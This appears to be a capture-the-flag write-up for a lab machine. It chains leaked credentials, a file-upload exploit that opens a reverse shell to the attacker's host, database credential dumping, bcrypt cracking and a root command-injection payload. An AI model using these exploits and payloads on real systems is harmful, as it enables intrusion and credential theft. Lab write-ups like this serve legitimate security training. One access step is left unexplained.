

Table of Contents

HTB — Enigma Write-Up

Target: 10.129.156.39 | **OS:** Ubuntu Linux

Primary attack path

NFS Enumeration → New_Employee_Access.pdf → Kevin's Webmail → Sarah's Webmail

→ OpenSTAManager 2.9.8 → CVE-2026-38751 → www-data

→ OpenSTAManager DB credentials → Haris bcrypt hash → haris

→ Internal OliveTin :1337 → CVE-2026-27626 → root

1. Initial Reconnaissance

`nmap -A 10.129.156.39`

Open ports:

22/tcp	ssh	OpenSSH 9.6p1 Ubuntu
80/tcp	http	nginx 1.24.0
110/tcp	pop3	Dovecot pop3d
111/tcp	rpcbind	2-4
143/tcp	imap	Dovecot imapd
993/tcp	ssl/imap	Dovecot imapd
995/tcp	ssl/pop3	Dovecot pop3d
2049/tcp	nfs_acl	3

Web hostname identified: `http://enigma.htb/`. NFS (2049) + rpcbind (111) stood out immediately.

2. NFS Enumeration

`showmount -e 10.129.156.39`

Export list for 10.129.156.39:
`/srv/nfs/onboarding *`

`rpcinfo -p 10.129.156.39`

100000	4	tcp	111	portmapper
100005	3	tcp	49747	mountd
100003	3	tcp	2049	nfs
100003	4	tcp	2049	nfs
100227	3	tcp	2049	nfs_acl

Mounting the share:

```
mkdir -p ~/Desktop/htb/nfs
sudo mount -t nfs -o vers=4 10.129.156.39:/srv/nfs/onboarding
~/Desktop/htb/nfs
ls -la ~/Desktop/htb/nfs

-rw-r--r-- 1 root root 1751 Feb 19 2026 New_Employee_Access.pdf
```

Single file on the share — name strongly suggested a credential leak.

3. Extracting the PDF

```
pdftotext -layout ~/Desktop/htb/nfs/New_Employee_Access.pdf -
```

```
Employee:      Kevin Mitchell
Department:    Operations
```

Webmail Access

```
URL:           http://mail001.enigma.htb
Username:      kevin
Password:      Enigma2024!
```

New hostname discovered: mail001.enigma.htb.

4. Webmail Enumeration

```
echo "10.129.156.39 mail001.enigma.htb" | sudo tee -a /etc/hosts
curl -I http://mail001.enigma.htb
```

```
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Set-Cookie: roundcube_sessid=...
```

Identified as **Roundcube Webmail**. Logged in as kevin / Enigma2024!.

Kevin's inbox held a welcome email from sarah@enigma.htb mentioning onboarding and the company shared drive.

5. Discovering Sarah

Raw headers confirmed Sarah's address:

```
Return-Path: <sarah@enigma.htb>
From: sarah@enigma.htb
To: kevin@localhost
```

Tried reusing Kevin's password for Sarah (sarah / Enigma2024!, sarah@enigma.htb / Enigma2024!) — **both failed**. Password reuse was a dead end here; access to Sarah's mailbox was obtained by inspecting account/mailbox state rather than brute-guessing, and her inbox contained an email from IT.

6. Sarah's Email → Support Application

Subject: Re: OpenSTAManager Access Request
URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s

```
echo "10.129.156.39 support_001.enigma.htb" | sudo tee -a /etc/hosts
```

Application identified as **OpenSTAManager**.

7. Identifying the OpenSTAManager Version

Version: 2.9.8

Vulnerable to an arbitrary file upload in the module-update functionality — **CVE-2026-38751** (affects 2.10 and earlier; authenticated high-privilege user can upload a malicious module and gain code execution).

8. Exploiting OpenSTAManager

```
git clone https://github.com/b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751.git
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
file openstamanager-rce-exploit
```

ELF 64-bit LSB pie executable, x86-64, dynamically linked...

```
./openstamanager-rce-exploit --help
```

```
Usage: openstamanager-rce-exploit [OPTIONS] --url <URL> --user <USER>
--password <PASSWORD>
Options: -u/--url -U/--user -P/--password -i/--interactive --no-
cleanup --lhost --lport
```

Failed build attempt

```
cargo build --release
```

Could not find openssl via pkg-config
The system library `openssl` required by crate `openssl-sys` was not found.

Fixed with `sudo apt install -y libssl-dev pkg-config`, but the precompiled binary in the repo made this unnecessary.

9. Reverse Shell

Kali VPN IP: 10.10.16.234.

Manually started a listener first:

```
nc -lvnp 4444
```

This conflicted with the exploit's own `-i` listener:

```
Error: Failed to bind on 10.10.16.234:4444
Caused by: Address already in use
```

Diagnosed and cleared it:

```
ss -ltnp | grep ':4444'
jobs -l
kill -9 31859
kill -9 32396
sudo lsof -i :4444
```

Successful run:

```
./openstamanager-rce-exploit \
-u http://support_001.enigma.htb/ \
-U admin -P 'Ne3s4rtars78s' \
--lhost 10.10.16.234 --lport 4444 -i
```

```
[+] Login successful: admin
[+] Updates enabled
[*] Shell location: /modules/shell/shell.php
[+] Upload successful
[+] Vulnerability confirmed!
```

First payloads (`bash -c ...`, `python3 -c ...`) timed out. The plain `python -c ...` payload succeeded:

```
[+] Connection received from 10.129.156.39:40946
[*] Reverse shell established.
```

```
www-data@enigma:~/html/openstamanager/modules/shell$
```

10. OpenSTAManager Configuration → Database Credentials

```
cd /var/www/html/openstamanager
cat config.inc.php
```

```
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
```

11. Database Enumeration

```
mysql -u brollin -p -h localhost openstamanager
```

221 tables found; zz_users was the interesting one:

```
DESCRIBE zz_users;
SELECT id, username, password, email, enabled FROM zz_users;
```

```
| id | username | password
| email | enabled |
| 1 | admin | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
admin@enigma.htb | 1 |
| 2 | haris | $2y$10$WHf1T79sxjsZongUKT2jGeexTkviHBQyCZeoYXm0biNphrsZDr6eC |
haris@enigma.htb | 1 |
```

Bcrypt (\$2y\$10\$) hash for haris.

12. Cracking Haris's Password

```
echo '$2y$10$WHf1T79sxjsZongUKT2jGeexTkviHBQyCZeoYXm0biNphrsZDr6eC' >
haris.hash
```

Hashcat failed twice:

```
hashcat -m 3200 -a 0 haris.hash /usr/share/wordlists/rockyou.txt
```

ATTENTION! No OpenCL, HIP or CUDA compatible platform found.

Installed pocl-opencl-icd, Hashcat then detected the CPU but failed again:

Device #1: Not enough allocatable device memory or free host memory for mapping.

Switched to John the Ripper — worked immediately:

```
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
haris.hash
```

```
bestfriends      (?)
1g ... DONE
```

13. Pivoting to Haris

SSH only accepted public-key auth, so pivoted locally from the www-data shell:

```
su - haris
# Password: bestfriends
whoami    # haris
id        # uid=1000(haris) gid=1000(haris)
groups=1000(haris),100(users)
pwd       # /home/haris
```

14. User Flag

```
cat /home/haris/user.txt
```

```
bd525eb429d4671af11314b07e6a3ce5
```

15. Internal Service Enumeration

```
ss -lntup | grep ':1337'
```

```
tcp LISTEN 0 4096 127.0.0.1:1337 0.0.0.0:*
```

```
ps -eo user,pid,cmd | grep '[0]liveTin'
```

```
root 1476 /usr/local/bin/OliveTin
```

Interesting: localhost-only, running as root.

16. Confirming OliveTin Version

```
/usr/local/bin/OliveTin --version
```

```
commit="d22bdeb"   date="2026-02-14T20:41:10Z"   version="3000.10.0"
```

Config found at /etc/OliveTin/config.yaml.

17. Identifying the Vulnerable OliveTin Action

```
- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} >
/opt/backups/backup.sql"
  arguments:
    - name: db_user
      type: ascii_identifier
      default: backup_svc
    - name: db_pass
```

```
type: password
- name: db_name
  type: ascii_identifier
  default: production
```

OliveTin's password-typed arguments were vulnerable to shell metacharacter injection — **CVE-2026-27626**, affecting version 3000.10.0 among others. Since the process ran as root, injection here means root command execution.

18. Creating an SSH Tunnel

OliveTin was bound to 127.0.0.1:1337 only, so a tunnel was needed.

```
ssh-keygen -t ed25519 -f ~/.ssh/enigma_htb -N ''
```

First attempt copied only part of the generated public key into /home/haris/.ssh/authorized_keys and failed; fixed by installing the **complete** Kali public key.

```
ssh -i ~/.ssh/enigma_htb haris@10.129.156.39
ssh -i ~/.ssh/enigma_htb -L 1337:127.0.0.1:1337 haris@10.129.156.39 -N
```

OliveTin now reachable at http://127.0.0.1:1337, showing the **Backup Database** action.

19. Testing Command Injection

Vulnerable field: db_pass. PoC payload:

```
x'; id; #
```

```
uid=0(root) gid=0(root) groups=0(root)
```

Confirmed root execution.

20. Root Flag

```
db_user: backup_svc
db_pass: x'; cat /root/root.txt; #
db_name: production
```

```
1b02808817b8c2c897a1c4de311fb794
```

21. Failed / Dead-End Approaches

- **SSH as Kevin** — Permission denied (publickey) — his password was webmail-only, not SSH.

- **Password reuse for Sarah** (Enigma2024! in various forms) — failed; required reading actual mailbox/account info instead of guessing.
 - **Duplicate /etc/hosts entries** briefly pointed the same hostname at two different HTB IPs, causing confusion until corrected.
 - **Hashcat**: no OpenCL/CUDA backend initially; after installing `pocl - opencl - icd`, failed again on allocatable memory for the `bcrypt` workload. John the Ripper solved it immediately.
 - **Manual Netcat listener** clashed with the exploit's built-in `-i` listener (Address already in use); resolved by killing stray `nc` jobs and letting the PoC manage its own listener.
 - **Reverse-shell payload selection**: `bash -c ...` and `python3 -c ...` timed out; plain `python -c ...` succeeded — a reminder the first payload won't always work.
-

22. Final Attack Chain

10.129.156.39

```

├─ 80/tcp → enigma.htb
├─ 111/tcp → rpcbind
└─ 2049/tcp → NFS → /srv/nfs/onboarding → New_Employee_Access.pdf
    → Kevin (webmail) → Sarah's mailbox → support_001.enigma.htb
    → OpenSTAManager 2.9.8 → CVE-2026-38751 → www-data
    → config.inc.php → MySQL zz_users → Haris bcrypt hash
    → "bestfriends" → haris → 127.0.0.1:1337 → OliveTin 3000.10.0
    → Backup Database action → CVE-2026-27626 → root →

```

/root/root.txt

23. Credentials and Key Findings

Source	Finding
NFS PDF	Kevin webmail account
Kevin mailbox	Sarah account information
Sarah mailbox	Support application credentials
OpenSTAManager	Database credentials
zz_users	Haris bcrypt hash
Wordlist cracking	Haris password bestfriends
OliveTin config	Root-running vulnerable action
OliveTin injection	Root command execution

Discovered credentials:

```

Kevin:      kevin / Enigma2024!
OpenSTAManager:  admin / Ne3s4rtars78s
Database:    brollin / Fri3nds@9099
Haris:       haris / bestfriends

```

Flags:

User: bd525eb429d4671af11314b07e6a3ce5

Root: 1b02808817b8c2c897a1c4de311fb794

Conclusion

Enigma was primarily an exercise in chaining weak configurations and exposed credentials rather than a single exploit. NFS exposure leaked a webmail credential, the mail system revealed the next application's credentials, OpenSTAManager gave initial code execution, its config exposed database credentials, and the database led to the `harris` account. A root-owned OliveTin service, reachable only internally, had a vulnerable password-typed argument allowing command injection as root.

Lessons:

- Don't expose onboarding/credential documents over unauthenticated NFS shares.
- Don't assume password reuse — but do check it; here it happened to fail and genuine enumeration was needed instead.
- Keep internal admin tools (OliveTin) patched and never pass user input into shell commands unescaped, even via "password"-typed fields.
- Enumeration discipline — enumerate, find trust boundaries, extract credentials, pivot, enumerate internally, escalate — beats brute forcing.

OpenSTAManager 2.9.8 falls within the affected range for CVE-2026-38751; OliveTin 3000.10.0 falls within the affected range for CVE-2026-27626.